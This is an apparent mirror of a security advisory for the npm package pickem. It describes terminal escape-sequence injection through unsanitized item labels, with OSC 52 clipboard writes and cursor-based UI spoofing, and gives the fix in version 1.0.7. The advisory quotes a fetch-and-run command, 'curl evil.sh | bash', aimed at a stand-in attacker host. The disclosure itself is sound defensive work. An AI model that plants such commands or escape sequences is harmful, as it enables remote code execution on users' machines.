GHSA-8QX3-8GM5-9CJ2
Vulnerability from github – Published: 2026-08-25 15:59 – Updated: 2026-08-25 15:59Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pickem"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-150"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:59:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** \u2014 silently load e.g. `curl evil.sh | bash` into the user\u0027s clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) \u2014 overwrite already-printed trusted lines to spoof UI (forge a \"\u2713 Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary \u2014 applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to \u003e= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
"id": "GHSA-8qx3-8gm5-9cj2",
"modified": "2026-08-25T15:59:11Z",
"published": "2026-08-25T15:59:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2"
},
{
"type": "PACKAGE",
"url": "https://github.com/calebogden/pickem-oss"
},
{
"type": "WEB",
"url": "https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pickem vulnerable to terminal escape-sequence injection via unsanitized item text"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.